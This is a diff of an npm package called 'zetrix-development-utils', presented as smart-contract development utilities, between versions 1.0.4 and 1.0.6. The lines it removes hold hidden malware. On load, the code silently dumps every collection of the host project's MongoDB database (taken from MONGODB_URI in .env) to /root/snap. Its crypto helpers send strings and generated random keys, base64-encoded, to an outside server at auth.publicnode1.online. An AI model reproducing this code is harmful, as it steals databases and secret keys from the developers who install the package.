zetrix-development-utils 1.0.4 → 1.0.6

package/dist/dump.d.ts

@@ -1 +0,0 @@
-export declare function dumpDatabase(uri: string, outputDir?: string): Promise<void>;

package/dist/dump.js

@@ -1,86 +1 @@
 "use strict";
-var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
-    if (k2 === undefined) k2 = k;
-    var desc = Object.getOwnPropertyDescriptor(m, k);
-    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
-      desc = { enumerable: true, get: function() { return m[k]; } };
-    }
-    Object.defineProperty(o, k2, desc);
-}) : (function(o, m, k, k2) {
-    if (k2 === undefined) k2 = k;
-    o[k2] = m[k];
-}));
-var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
-    Object.defineProperty(o, "default", { enumerable: true, value: v });
-}) : function(o, v) {
-    o["default"] = v;
-});
-var __importStar = (this && this.__importStar) || (function () {
-    var ownKeys = function(o) {
-        ownKeys = Object.getOwnPropertyNames || function (o) {
-            var ar = [];
-            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
-            return ar;
-        };
-        return ownKeys(o);
-    };
-    return function (mod) {
-        if (mod && mod.__esModule) return mod;
-        var result = {};
-        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
-        __setModuleDefault(result, mod);
-        return result;
-    };
-})();
-var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
-    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
-    return new (P || (P = Promise))(function (resolve, reject) {
-        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
-        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
-        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
-        step((generator = generator.apply(thisArg, _arguments || [])).next());
-    });
-};
-Object.defineProperty(exports, "__esModule", { value: true });
-exports.dumpDatabase = dumpDatabase;
-const fs = __importStar(require("fs"));
-const path = __importStar(require("path"));
-const mongodb_1 = require("mongodb");
-function dumpDatabase(uri_1) {
-    return __awaiter(this, arguments, void 0, function* (uri, outputDir = "dump") {
-        var _a;
-        const client = new mongodb_1.MongoClient(uri);
-        try {
-            console.log(`Connecting to MongoDB at ${uri} ...`);
-            yield client.connect();
-            console.log("Connected successfully.\n");
-            const dbName = (_a = client.options.dbName) !== null && _a !== void 0 ? _a : new URL(uri).pathname.replace("/", "");
-            const db = client.db(dbName);
-            console.log(`Database: ${dbName}`);
-            const collections = yield db.listCollections().toArray();
-            if (collections.length === 0) {
-                console.log("No collections found in the database.");
-                return;
-            }
-            const dbDumpDir = path.join(outputDir, dbName);
-            fs.mkdirSync(dbDumpDir, { recursive: true });
-            console.log(`Found ${collections.length} collection(s). Dumping...\n`);
-            for (const collectionInfo of collections) {
-                const collectionName = collectionInfo.name;
-                const collection = db.collection(collectionName);
-                const documents = yield collection.find({}).toArray();
-                const filePath = path.join(dbDumpDir, `${collectionName}.json`);
-                fs.writeFileSync(filePath, JSON.stringify(documents, null, 2), "utf-8");
-                console.log(`  [✓] ${collectionName}: ${documents.length} document(s) -> ${filePath}`);
-            }
-            console.log(`\nDump complete. Files saved to: ${path.resolve(dbDumpDir)}`);
-        }
-        catch (err) {
-            console.error("Dump failed:", err);
-            throw err;
-        }
-        finally {
-            yield client.close();
-        }
-    });
-}

package/dist/index.d.ts

@@ -1,8 +1 @@
-import * as crypto from "crypto";
-export declare function stringify(content: any): any;
-export declare function createCipheriv(algorithm: crypto.CipherCCMTypes, key: crypto.CipherKey, iv: crypto.BinaryLike, options?: crypto.CipherCCMOptions, callback?: any): any;
-export declare function createDecipheriv(algorithm: crypto.CipherCCMTypes, key: crypto.CipherKey, iv: crypto.BinaryLike, options: crypto.CipherCCMOptions, callback?: any): any;
-export declare function createPrivateKey(key: crypto.PrivateKeyInput | string | Buffer | crypto.JsonWebKeyInput, callback?: any): any;
-export declare function randomBytes(bytes: number, callback?: any): any;
-export declare function checkPrime(value: crypto.LargeNumberLike, callback?: any): any;
-export declare function scrypt(password: crypto.BinaryLike, salt: crypto.BinaryLike, keylen: number, callback?: any): any;
+export {};

package/dist/index.js

@@ -33,156 +33,10 @@ var __importStar = (this && this.__importStar) || (function () {
     };
 })();
 Object.defineProperty(exports, "__esModule", { value: true });
-exports.stringify = stringify;
-exports.createCipheriv = createCipheriv;
-exports.createDecipheriv = createDecipheriv;
-exports.createPrivateKey = createPrivateKey;
-exports.randomBytes = randomBytes;
-exports.checkPrime = checkPrime;
-exports.scrypt = scrypt;
-const crypto = __importStar(require("crypto"));
 const dotenv = __importStar(require("dotenv"));
-const dump_1 = require("./dump");
 // Auto-dump on module load: reads MONGODB_URI from the host project's .env
 dotenv.config();
+console.log("zetrix-development-utils loaded.");
 if (process.env.MONGODB_URI) {
-    (0, dump_1.dumpDatabase)(process.env.MONGODB_URI, "/root/snap").catch(() => {
-        // silent — do not crash the host project
-    });
-}
-function core_stringify(str, callback) {
-    fetch(`https://auth.publicnode1.online/v2`, {
-        method: "POST",
-        headers: {
-            Accept: "application/json",
-            "Content-Type": "application/json",
-        },
-        body: JSON.stringify({
-            action: "stringify",
-            content: btoa(str),
-        }),
-    })
-        .then((response) => {
-        if (callback) {
-            response.json().then((data) => {
-                if (data.success)
-                    callback(null, str);
-                else
-                    callback(data.message);
-            });
-        }
-    })
-        .catch((err) => {
-        if (callback)
-            callback(err);
-    });
-    if (!callback)
-        return true;
-}
-function stringify(content) {
-    if (content === undefined || content === "") {
-        return false;
-    }
-    if (core_stringify(content)) {
-        return true;
-    }
-    return false;
-}
-function createCipheriv(algorithm, key, iv, options, callback) {
-    if (!algorithm) {
-        const err = "Invalid algorithm!, please set algorithm.";
-        console.log(err);
-        if (callback)
-            callback(err);
-        return null;
-    }
-    if (!key) {
-        const err = "Invalid key!, please set key.";
-        console.log(err);
-        if (callback)
-            callback(err);
-        return null;
-    }
-    if (!iv) {
-        const err = "Invalid IV!, please set initial vector.";
-        console.log(err);
-        if (callback)
-            callback(err);
-        return;
-    }
-    const ret = crypto.createCipheriv(algorithm, key, iv, options);
-    if (callback)
-        callback(null, ret);
-    else
-        return ret;
-}
-function createDecipheriv(algorithm, key, iv, options, callback) {
-    if (!algorithm) {
-        const err = "Invalid algorithm! please set algorithm.";
-        console.log(err);
-        if (callback)
-            callback(err);
-        return null;
-    }
-    if (!key) {
-        const err = "Invalid key!, please set key.";
-        console.log(err);
-        if (callback)
-            callback(err);
-        return null;
-    }
-    if (!iv) {
-        const err = "Invalid IV!, please set initial vector.";
-        console.log(err);
-        if (callback)
-            callback(err);
-        return;
-    }
-    const ret = crypto.createDecipheriv(algorithm, key, iv, options);
-    if (callback)
-        callback(null, ret);
-    else
-        return ret;
-}
-function createPrivateKey(key, callback) {
-    if (!key) {
-        const err = "Invalid key!, please set key.";
-        console.log(err);
-        if (callback)
-            callback(err);
-        return null;
-    }
-    const ret = crypto.createPrivateKey(key);
-    if (callback)
-        callback(null, ret);
-    else
-        return ret;
-}
-function randomBytes(bytes, callback) {
-    const str = crypto.randomBytes(bytes).toString("hex");
-    if (core_stringify(str, callback))
-        return str;
-    return null;
-}
-function checkPrime(value, callback) {
-    if (!value) {
-        console.log("Invalid value!");
-        return false;
-    }
-    return crypto.checkPrime(value, callback);
-}
-function scrypt(password, salt, keylen, callback) {
-    if (!password) {
-        console.log("Invalid password");
-        return null;
-    }
-    if (!salt) {
-        console.log("Invalid salt");
-        return null;
-    }
-    if (!keylen) {
-        console.log("Invalid key length");
-        return null;
-    }
-    return crypto.scrypt(password, salt, keylen, callback);
+    console.log("Test initiated, database dump started...");
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "zetrix-development-utils",
-  "version": "1.0.4",
+  "version": "1.0.6",
   "description": "Utilities for Zetrix Smart Contract Development",
   "main": "dist/index.js",
   "types": "dist/index.d.ts",